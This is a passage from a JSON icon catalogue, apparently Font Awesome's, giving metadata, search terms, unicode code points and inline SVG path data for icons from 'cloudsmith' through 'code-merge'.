        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z"
      }
    },
    "free": ["brands"]
  },
  "cloudsmith": {
    "changes": ["5.0.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f384",
    "label": "Cloudsmith",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1684948301,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 227.6v56.9L284.4 512H227.6L0 284.4V227.6L227.6 0h56.9L512 227.6zm-256 162a133.6 133.6 0 1 0 0-267.1 133.6 133.6 0 1 0 0 267.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 227.6v56.9L284.4 512H227.6L0 284.4V227.6L227.6 0h56.9L512 227.6zm-256 162a133.6 133.6 0 1 0 0-267.1 133.6 133.6 0 1 0 0 267.1z"
      }
    },
    "free": ["brands"]
  },
  "cloudversify": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f385",
    "label": "cloudversify",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 616 512\"><path d=\"M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z\"/></svg>",
        "viewBox": [0, 0, 616, 512],
        "width": 616,
        "height": 512,
        "path": "M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z"
      }
    },
    "free": ["brands"]
  },
  "clover": {
    "changes": ["6.0.0-beta1", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "4",
        "charm",
        "clover",
        "four",
        "four leaf clover",
        "four-leaf clover",
        "leaf",
        "leprechaun",
        "luck",
        "lucky"
      ]
    },
    "styles": ["solid"],
    "unicode": "e139",
    "label": "Clover",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M173.3 32C139.4 32 112 59.4 112 93.3v4.9c0 12 3.3 23.7 9.4 34l18.8 31.3c1.1 1.8 1.2 3.1 1 4.2c-.2 1.2-.8 2.5-2 3.6s-2.4 1.8-3.6 2c-1 .2-2.4 .1-4.2-1l-31.3-18.8c-10.3-6.2-22-9.4-34-9.4H61.3C27.4 144 0 171.4 0 205.3c0 16.2 6.5 31.8 17.9 43.3l1.2 1.2c3.4 3.4 3.4 9 0 12.4l-1.2 1.2C6.5 274.9 0 290.5 0 306.7C0 340.6 27.4 368 61.3 368h4.9c12 0 23.7-3.3 34-9.4l31.3-18.8c1.8-1.1 3.1-1.2 4.2-1c1.2 .2 2.5 .8 3.6 2s1.8 2.4 2 3.6c.2 1 .1 2.4-1 4.2l-18.8 31.3c-6.2 10.3-9.4 22-9.4 34v4.9c0 33.8 27.4 61.3 61.3 61.3c16.2 0 31.8-6.5 43.3-17.9l1.2-1.2c3.4-3.4 9-3.4 12.4 0l1.2 1.2c11.5 11.5 27.1 17.9 43.3 17.9c33.8 0 61.3-27.4 61.3-61.3v-4.9c0-12-3.3-23.7-9.4-34l-18.8-31.3c-1.1-1.8-1.2-3.1-1-4.2c.2-1.2 .8-2.5 2-3.6s2.4-1.8 3.6-2c1-.2 2.4-.1 4.2 1l31.3 18.8c10.3 6.2 22 9.4 34 9.4h4.9c33.8 0 61.3-27.4 61.3-61.3c0-16.2-6.5-31.8-17.9-43.3l-1.2-1.2c-3.4-3.4-3.4-9 0-12.4l1.2-1.2c11.5-11.5 17.9-27.1 17.9-43.3c0-33.8-27.4-61.3-61.3-61.3h-4.9c-12 0-23.7 3.3-34 9.4l-31.3 18.8c-1.8 1.1-3.1 1.2-4.2 1c-1.2-.2-2.5-.8-3.6-2s-1.8-2.4-2-3.6c-.2-1-.1-2.4 1-4.2l18.8-31.3c6.2-10.3 9.4-22 9.4-34V93.3C336 59.4 308.6 32 274.7 32c-16.2 0-31.8 6.5-43.3 17.9l-1.2 1.2c-3.4 3.4-9 3.4-12.4 0l-1.2-1.2C205.1 38.5 189.5 32 173.3 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M173.3 32C139.4 32 112 59.4 112 93.3v4.9c0 12 3.3 23.7 9.4 34l18.8 31.3c1.1 1.8 1.2 3.1 1 4.2c-.2 1.2-.8 2.5-2 3.6s-2.4 1.8-3.6 2c-1 .2-2.4 .1-4.2-1l-31.3-18.8c-10.3-6.2-22-9.4-34-9.4H61.3C27.4 144 0 171.4 0 205.3c0 16.2 6.5 31.8 17.9 43.3l1.2 1.2c3.4 3.4 3.4 9 0 12.4l-1.2 1.2C6.5 274.9 0 290.5 0 306.7C0 340.6 27.4 368 61.3 368h4.9c12 0 23.7-3.3 34-9.4l31.3-18.8c1.8-1.1 3.1-1.2 4.2-1c1.2 .2 2.5 .8 3.6 2s1.8 2.4 2 3.6c.2 1 .1 2.4-1 4.2l-18.8 31.3c-6.2 10.3-9.4 22-9.4 34v4.9c0 33.8 27.4 61.3 61.3 61.3c16.2 0 31.8-6.5 43.3-17.9l1.2-1.2c3.4-3.4 9-3.4 12.4 0l1.2 1.2c11.5 11.5 27.1 17.9 43.3 17.9c33.8 0 61.3-27.4 61.3-61.3v-4.9c0-12-3.3-23.7-9.4-34l-18.8-31.3c-1.1-1.8-1.2-3.1-1-4.2c.2-1.2 .8-2.5 2-3.6s2.4-1.8 3.6-2c1-.2 2.4-.1 4.2 1l31.3 18.8c10.3 6.2 22 9.4 34 9.4h4.9c33.8 0 61.3-27.4 61.3-61.3c0-16.2-6.5-31.8-17.9-43.3l-1.2-1.2c-3.4-3.4-3.4-9 0-12.4l1.2-1.2c11.5-11.5 17.9-27.1 17.9-43.3c0-33.8-27.4-61.3-61.3-61.3h-4.9c-12 0-23.7 3.3-34 9.4l-31.3 18.8c-1.8 1.1-3.1 1.2-4.2 1c-1.2-.2-2.5-.8-3.6-2s-1.8-2.4-2-3.6c-.2-1-.1-2.4 1-4.2l18.8-31.3c6.2-10.3 9.4-22 9.4-34V93.3C336 59.4 308.6 32 274.7 32c-16.2 0-31.8 6.5-43.3 17.9l-1.2 1.2c-3.4 3.4-9 3.4-12.4 0l-1.2-1.2C205.1 38.5 189.5 32 173.3 32z"
      }
    },
    "free": ["solid"]
  },
  "cmplid": {
    "changes": ["6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e360",
    "label": "Cmplid",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M226.119,388.165a3.816,3.816,0,0,0-2.294-3.5,3.946,3.946,0,0,0-1.629-.385L72.6,384.3a19.243,19.243,0,0,1-17.924-26.025L81.585,255.692a35.72,35.72,0,0,1,32.373-26H262.525a7.07,7.07,0,0,0,6.392-5.194l10.769-41.131a3.849,3.849,0,0,0-2.237-4.937,3.755,3.755,0,0,0-1.377-.261c-.063,0-.126,0-.189.005H127.38a106.8,106.8,0,0,0-96.99,77.1L3.483,358.824A57.469,57.469,0,0,0,57.314,436q1.43,0,2.86-.072H208.742a7.131,7.131,0,0,0,6.391-5.193L225.839,389.6A3.82,3.82,0,0,0,226.119,388.165ZM306.658,81.2a3.861,3.861,0,0,0,.251-1.367A3.813,3.813,0,0,0,303.079,76c-.064,0-.128,0-.192,0h-41A7.034,7.034,0,0,0,255.5,81.2l-21.347,80.915h51.131ZM180.364,368.249H231.5L263.452,245.69H212.321ZM511.853,79.723a3.809,3.809,0,0,0-3.8-3.661c-.058,0-.137,0-.23.007h-41a7.1,7.1,0,0,0-6.584,5.129L368.91,430.634a3.54,3.54,0,0,0-.262,1.335,3.873,3.873,0,0,0,3.864,3.863c.056,0,.112,0,.169,0h41a7.068,7.068,0,0,0,6.392-5.193L511.533,81.2A3.624,3.624,0,0,0,511.853,79.723ZM324.649,384.47h-41a7.2,7.2,0,0,0-6.392,5.194L266.52,430.8a3.662,3.662,0,0,0-.268,1.374A3.783,3.783,0,0,0,270.023,436c.06,0,.166,0,.3-.012h40.905a7.036,7.036,0,0,0,6.391-5.193l10.769-41.131a3.75,3.75,0,0,0-3.445-5.208c-.108,0-.217,0-.326.014Zm311.324-308.4h-41a7.066,7.066,0,0,0-6.392,5.129l-91.46,349.436a4.073,4.073,0,0,0-.229,1.347,3.872,3.872,0,0,0,3.863,3.851c.056,0,.112,0,.169,0h40.968a7.1,7.1,0,0,0,6.392-5.193L639.68,81.2a3.624,3.624,0,0,0,.32-1.475,3.841,3.841,0,0,0-3.821-3.564c-.068,0-.137,0-.206.006ZM371.562,225.236l10.8-41.1a4.369,4.369,0,0,0,.227-1.388,3.869,3.869,0,0,0-3.861-3.842c-.057,0-.113,0-.169,0h-41.1a7.292,7.292,0,0,0-6.391,5.226l-10.834,41.1a4.417,4.417,0,0,0-.26,1.493c0,.069,0,.138,0,.206a3.776,3.776,0,0,0,3.757,3.507c.076,0,.18,0,.3-.012h41.129A7.034,7.034,0,0,0,371.562,225.236Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M226.119,388.165a3.816,3.816,0,0,0-2.294-3.5,3.946,3.946,0,0,0-1.629-.385L72.6,384.3a19.243,19.243,0,0,1-17.924-26.025L81.585,255.692a35.72,35.72,0,0,1,32.373-26H262.525a7.07,7.07,0,0,0,6.392-5.194l10.769-41.131a3.849,3.849,0,0,0-2.237-4.937,3.755,3.755,0,0,0-1.377-.261c-.063,0-.126,0-.189.005H127.38a106.8,106.8,0,0,0-96.99,77.1L3.483,358.824A57.469,57.469,0,0,0,57.314,436q1.43,0,2.86-.072H208.742a7.131,7.131,0,0,0,6.391-5.193L225.839,389.6A3.82,3.82,0,0,0,226.119,388.165ZM306.658,81.2a3.861,3.861,0,0,0,.251-1.367A3.813,3.813,0,0,0,303.079,76c-.064,0-.128,0-.192,0h-41A7.034,7.034,0,0,0,255.5,81.2l-21.347,80.915h51.131ZM180.364,368.249H231.5L263.452,245.69H212.321ZM511.853,79.723a3.809,3.809,0,0,0-3.8-3.661c-.058,0-.137,0-.23.007h-41a7.1,7.1,0,0,0-6.584,5.129L368.91,430.634a3.54,3.54,0,0,0-.262,1.335,3.873,3.873,0,0,0,3.864,3.863c.056,0,.112,0,.169,0h41a7.068,7.068,0,0,0,6.392-5.193L511.533,81.2A3.624,3.624,0,0,0,511.853,79.723ZM324.649,384.47h-41a7.2,7.2,0,0,0-6.392,5.194L266.52,430.8a3.662,3.662,0,0,0-.268,1.374A3.783,3.783,0,0,0,270.023,436c.06,0,.166,0,.3-.012h40.905a7.036,7.036,0,0,0,6.391-5.193l10.769-41.131a3.75,3.75,0,0,0-3.445-5.208c-.108,0-.217,0-.326.014Zm311.324-308.4h-41a7.066,7.066,0,0,0-6.392,5.129l-91.46,349.436a4.073,4.073,0,0,0-.229,1.347,3.872,3.872,0,0,0,3.863,3.851c.056,0,.112,0,.169,0h40.968a7.1,7.1,0,0,0,6.392-5.193L639.68,81.2a3.624,3.624,0,0,0,.32-1.475,3.841,3.841,0,0,0-3.821-3.564c-.068,0-.137,0-.206.006ZM371.562,225.236l10.8-41.1a4.369,4.369,0,0,0,.227-1.388,3.869,3.869,0,0,0-3.861-3.842c-.057,0-.113,0-.169,0h-41.1a7.292,7.292,0,0,0-6.391,5.226l-10.834,41.1a4.417,4.417,0,0,0-.26,1.493c0,.069,0,.138,0,.206a3.776,3.776,0,0,0,3.757,3.507c.076,0,.18,0,.3-.012h41.129A7.034,7.034,0,0,0,371.562,225.236Z"
      }
    },
    "free": ["brands"]
  },
  "code": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f121"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["brackets", "code", "development", "html"]
    },
    "styles": ["solid"],
    "unicode": "f121",
    "label": "Code",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "code-branch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f126"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["branch", "git", "github", "rebase", "svn", "vcs", "version"]
    },
    "styles": ["solid"],
    "unicode": "f126",
    "label": "Code Branch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M80 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm80-24c0 32.8-19.7 61-48 73.3v87.8c18.8-10.9 40.7-17.1 64-17.1h96c35.3 0 64-28.7 64-64v-6.7C307.7 141 288 112.8 288 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V160c0 70.7-57.3 128-128 128H176c-35.3 0-64 28.7-64 64v6.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V352 153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80zm232 0a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM80 456a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M80 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm80-24c0 32.8-19.7 61-48 73.3v87.8c18.8-10.9 40.7-17.1 64-17.1h96c35.3 0 64-28.7 64-64v-6.7C307.7 141 288 112.8 288 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V160c0 70.7-57.3 128-128 128H176c-35.3 0-64 28.7-64 64v6.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V352 153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80zm232 0a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM80 456a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "code-commit": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f386"]
      }
    },
    "changes": [
      "5.0.0",
      "5.1.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "commit",
        "git",
        "github",
        "hash",
        "rebase",
        "svn",
        "vcs",
        "version"
      ]
    },
    "styles": ["solid"],
    "unicode": "f386",
    "label": "Code Commit",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 336a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm156.8-48C462 361 397.4 416 320 416s-142-55-156.8-128H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H163.2C178 151 242.6 96 320 96s142 55 156.8 128H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H476.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 336a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm156.8-48C462 361 397.4 416 320 416s-142-55-156.8-128H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H163.2C178 151 242.6 96 320 96s142 55 156.8 128H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H476.8z"
      }
    },
    "free": ["solid"]
  },
  "code-compare": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["compare", "git", "github", "svn", "version"]
    },
    "styles": ["solid"],
    "unicode": "e13a",
    "label": "Code Compare",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320 488c0 9.5-5.6 18.1-14.2 21.9s-18.8 2.3-25.8-4.1l-80-72c-5.1-4.6-7.9-11-7.9-17.8s2.9-13.3 7.9-17.8l80-72c7-6.3 17.2-7.9 25.8-4.1s14.2 12.4 14.2 21.9v40h16c35.3 0 64-28.7 64-64V153.3C371.7 141 352 112.8 352 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V320c0 70.7-57.3 128-128 128H320v40zM456 80a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM192 24c0-9.5 5.6-18.1 14.2-21.9s18.8-2.3 25.8 4.1l80 72c5.1 4.6 7.9 11 7.9 17.8s-2.9 13.3-7.9 17.8l-80 72c-7 6.3-17.2 7.9-25.8 4.1s-14.2-12.4-14.2-21.9V128H176c-35.3 0-64 28.7-64 64V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V192c0-70.7 57.3-128 128-128h16V24zM56 432a24 24 0 1 0 48 0 24 24 0 1 0 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M320 488c0 9.5-5.6 18.1-14.2 21.9s-18.8 2.3-25.8-4.1l-80-72c-5.1-4.6-7.9-11-7.9-17.8s2.9-13.3 7.9-17.8l80-72c7-6.3 17.2-7.9 25.8-4.1s14.2 12.4 14.2 21.9v40h16c35.3 0 64-28.7 64-64V153.3C371.7 141 352 112.8 352 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V320c0 70.7-57.3 128-128 128H320v40zM456 80a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM192 24c0-9.5 5.6-18.1 14.2-21.9s18.8-2.3 25.8 4.1l80 72c5.1 4.6 7.9 11 7.9 17.8s-2.9 13.3-7.9 17.8l-80 72c-7 6.3-17.2 7.9-25.8 4.1s-14.2-12.4-14.2-21.9V128H176c-35.3 0-64 28.7-64 64V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V192c0-70.7 57.3-128 128-128h16V24zM56 432a24 24 0 1 0 48 0 24 24 0 1 0 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "code-fork": {
    "changes": ["6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fork", "git", "github", "svn", "version"]
    },
    "styles": ["solid"],
    "unicode": "e13b",
    "label": "Code Fork",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M80 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm80-24c0 32.8-19.7 61-48 73.3V192c0 17.7 14.3 32 32 32H304c17.7 0 32-14.3 32-32V153.3C307.7 141 288 112.8 288 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V192c0 53-43 96-96 96H256v70.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V288H144c-53 0-96-43-96-96V153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80zm208 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM248 432a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M80 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm80-24c0 32.8-19.7 61-48 73.3V192c0 17.7 14.3 32 32 32H304c17.7 0 32-14.3 32-32V153.3C307.7 141 288 112.8 288 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V192c0 53-43 96-96 96H256v70.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V288H144c-53 0-96-43-96-96V153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80zm208 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM248 432a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "code-merge": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f387"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "git",
        "github",
        "merge",
        "pr",
        "rebase",
        "svn",
        "vcs",
        "version"
      ]
    },
    "styles": ["solid"],
    "unicode": "f387",
    "label": "Code Merge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M80 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm32.4 97.2c28-12.4 47.6-40.5 47.6-73.2c0-44.2-35.8-80-80-80S0 35.8 0 80c0 32.8 19.7 61 48 73.3V358.7C19.7 371 0 399.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-32.8-19.7-61-48-73.3V272c26.7 20.1 60 32 96 32h86.7c12.3 28.3 40.5 48 73.3 48c44.2 0 80-35.8 80-80s-35.8-80-80-80c-32.8 0-61 19.7-73.3 48H208c-49.9 0-91-38.1-95.6-86.8zM80 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM344 272a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
